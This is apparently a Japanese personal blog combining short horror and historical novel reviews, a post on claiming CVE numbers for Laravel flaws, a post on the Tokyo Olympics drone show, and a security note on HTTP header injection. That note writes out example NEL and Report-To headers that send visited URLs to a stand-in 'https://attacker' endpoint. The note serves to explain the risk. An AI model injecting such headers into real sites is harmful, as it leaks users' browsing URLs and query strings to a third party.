夏と言えば…ということで、ホラー小説です。
★★ 読んだことが無い作者のものをということで選んでみた。田舎の因習もののホラー。気味悪さはあるが、もう少し怖さが欲しかった。
★★★★★ リカは数年前に読んだ。グロありのサイコホラー。男が出会いサイトでとんでもない怪物と出会ってしまうという話。読んでいる途中で、現実離れした怪物キャラに若干笑ってしまったが、最後でドーンと奈落に突き落とされる。こんな本は読まなければよかった、という気分にさせてくれる本。
★★★ 今回読んだリターンはリカの続編。現実離れした感じはやっぱりある＆リカほどのインパクトが無いが、怪物を追い詰めていく緊迫感がある。あとラストはやはり気味悪い。怪物のキャラ作りの面で、盲目的な部分と、理知的な部分の折り合いが難しいなと思った。
HTTPヘッダインジェクションにおいて何ができるか？というのを数年ぶりに整理している。
整理作業の中で見つけたものの1つは、ネットワークエラーを検出して報告するNEL（Network Error Logging）という仕組み。
以下はNELの応答ヘッダの例。
NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://attacker"}]}上のようにReport-Toヘッダと組合せて使う。
このようなヘッダが与えられると、その時点からmax_ageの時間内に、そのサイトにアクセスしたURLや発生したネットワークエラー等が、Report-ToのendpointsのURLに報告されるようになる。通常報告されるのはエラーのみだが、success_fractionを1にすると正常なアクセスも報告に含まれるようになる（ASnoKaze blogにもう少し詳細が書いてある）。
以下がendpointに送られる報告の例。
{ "age": 35440, "body": { "elapsed_time": 52, "method": "GET", "phase": "application", "protocol": "h2", "referrer": "https://(ホスト名)/test/normal.php", "sampling_fraction": 1, "server_ip": "(IPアドレス)", "status_code": 200, "type": "ok" }, "type": "network-error", "url": "https://(ホスト名)/test/nrml/1.php?a=123", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" }
攻撃の観点で言うと、NELヘッダを突っ込まれると、その後にそのサイトでアクセスしたURL（クエリストリングを含む）を継続的に取られてしまうことになる。報告には要求/応答の中身は含まれないが、仕様上は要求/応答ヘッダも報告に含めるオプションがあり、それを使えばCookie等も報告に含められるかもしれない。しかし、このオプションはセキュリティ上の理由により現状のChromeには実装されていない模様（Chromium bug）。
ちなみにNELヘッダはステータス30Xでも解釈される。HTTPSが必要であり、また現状はChromeのみで利用できる、という制約がある。他のブラウザの意向は、Chrome Platform StatusのConsensusではFirefoxが「Positive」になっているが、Mozillaのチケットではネガティブ寄りの様子見といった感じになっている。
ソフトウェア製品の脆弱性を開発元に報告しても、CVE番号を振ってくれないことがしばしばある。
そういう時は、報告者自身でもMITREにCVEを請求できる。
CVE - Common Vulnerabilities and Exposures (CVE)
昨年夏に、Laravel（PHPのWebアプリケーションフレームワーク）の脆弱性をいくつか発見して開発元に直接報告したが、CVEを振ってくれなかったため、上のリンクのフォームから請求してみた。フォームの「Affected component」「Attack vector」「Suggested description of the vulnerability」等々を英語で書くのは手間と言えば手間だが、そこまでたいしたことはない。
番号請求してから2週間弱で、以下の3つのCVEの割り当てを受けた。
CVE-2020-24940
CVE-2020-24941
CVE-2020-25128
私の場合は、3つとも開発元が脆弱性として認めて修正/公開したものなので、フォームに記入した以上の情報は求められずにすんなりと進んだのかも。開発元が脆弱性として扱っていない場合でもCVEは請求できるようだが、その場合はもっと時間が掛かるのかもしれない。
IPAの早期警戒パートナーシップでは、日本語で報告できるし、CVE番号を振ってくれるし、JVNでCreditもしてくれるのでとても楽であるが、開発元とのやり取りがうまくいかず、結果として修正されずに途中でスタックするケースもある。IPAに報告しつつ自分で開発元と調整することもできるが、開発元とIPAの2箇所とのやり取りが生じるのが手間と言えば手間である。
JPCERTはCNA（CVE Numbering Authority）なので、JPCERTに依頼してCVEを発行してもらうこともできるのかもしれない。しかし脆弱性報告者という立場でもCVEの請求依頼を出せるかなどは分からない。
最近は、本読んで、テレビで五輪見て…、という生活になってきた。
★★★★ 御嶽山（みたけさん）の神官の屋敷を舞台とした、霊的な不思議な昔話。霊的と言っても、呪いだ何だというホラーではなく、御岳山の自然と神と人間の、厳かだったり、切ない気持ちにさせる話。昔「御嶽山に行く」と言っていた外国人がいて、「何故そこに？」と思ったことがあるが、この本を読むと一度行ってみたくなる。
★★★★★ 時代物の短編集。時代小説の面白さの一つは、現代よりも厳しい規範の社会の中で、色々と葛藤が生じるところにある。作者は、江戸時代の経済/政治/社会の制度や風習をネタに、現代にも通じる人間臭いストーリーを作り上げる人。制度や風習のネタ自体の面白さもあるし、そこから生じる葛藤を織り込んだストーリーを作る構想力もすごい。
★★★ 中国/印度/日本の歴史小説短編。補陀落渡海記が印象深い。補陀落渡海は、小舟の中に自らを閉じ込めて海を漂い、補陀落（南方にある浄土）を目指すという修行。小説は、決心がつかぬまま渡海にのぞむ、補陀落寺の老年の住職が主人公。渡海への恐怖から我を失う様を描く悲劇的な話だが、周囲の雰囲気に押されて渡海せざるをえなくなる様や、住職でありながら補陀落に渡り救われることを信じていない様は、喜劇的でもある。
★★ 違法捜査も辞さないマル暴刑事とその部下が、暴力団同士の抗争を止める話。対立組織を追い詰めていくところは面白い。だが、ダーティーヒーローである刑事や、その刑事が癒着している暴力団がイイ人でカッコよすぎる。キャラが類型的というか。映画とかには向くかなと思ったら映画化されているらしい。
★★★ 直木賞作品「邂逅の森」の作者によるマタギ小説。若い女性編集者が主人公で、現代における自然（熊）と人間の共生をテーマにしている。舞台が現代であり、人間同士の自然観の対立と理解が話のメインであるため、原始的な力とかロマンを感じさせる「邂逅」程の衝撃力はない。
★★★ 悪辣な企業経営者の娘と孫が拉致される。現在の外国人労働者問題を絡めたミステリー。偶然だがこの本を読んだ日の日経社説は「技能実習は速やかに廃止を」だった。
★ 殺し屋の話。読了できず。若い頃なら読めたかも。
★ 男と女の関係。これも最後まで読めず。
★★★★★ 恋愛小説とホラー小説を多く書く作家によるサイコホラー短編集。読んだことがある作品もあったが、「家鳴り」等はもう一度読んでも気持ち悪い。
★★★★ 「夜市」で日本ホラー小説大賞を取った作家。ゆったりした独特の雰囲気がある幻想的な世界を描く人。本作は「ネオ江戸ファンタジー小説」だそう。C3POみたいな金色のロボットが江戸時代に現れるというキテレツな設定だが面白い。
平昌の冬季五輪でもドローンによるショーをやっていたようだが、私は今回初めてみたのでビックリした。さらにインテルが担当したと聞いて、そんなビジネスもやってるんだということにも驚いた。
ショーに直接関連しそうなものとしては、インテルには以下のような特許出願があるらしい。
US20180136646A1 - Aerial display morphing - Google Patents（Pending）
似たようなものでディズニーの特許もある。
US20140236388A1 - Aerial display system with floating pixels - Google Patents（Active）
いずれもUSのみで「Aerial display」に関するもの。特許で言うとディズニーが一歩先を行ったように見える。
セキュリティ絡みの話では、開会式をテレビで見ていて「妨害電波とか飛ばされたらイヤだな」とは思った。今日調べてみたら関連しそうな記事（杉浦氏が出てくる）があった。
開会式彩ったドローンの舞、ハッカーが通信の解析試みた - 東京オリンピック：朝日新聞デジタル
記事によると、後日の解析のために会場の周辺でパケットを収集したらしい。
私は門外漢なので当てずっぽうだが、パフォーマンス開始の指示をする必要もあるし、GPSの測位だけではフォーメーションが乱れたりドローン同士がぶつかってしまう可能性があるので、地上もしくはドローン間でデータをやりとりしていると想像する。ちなみにディズニーの特許の図には、2つのチャネル（2.4GHz, 900MHz）で地上局とやりとりする例が示されている。
こういうショーでは、脆弱性を突いた攻撃や妨害に加えて、機器のトラブルや、天候の急変でドローンが飛べなくなるような事態も生じうる。失敗した時のダメージがでかいイベントのプログラムはそういうことも含めて色々と考慮した上で作る必要があるだろうし、準備はなかなか大変だろうと思う。
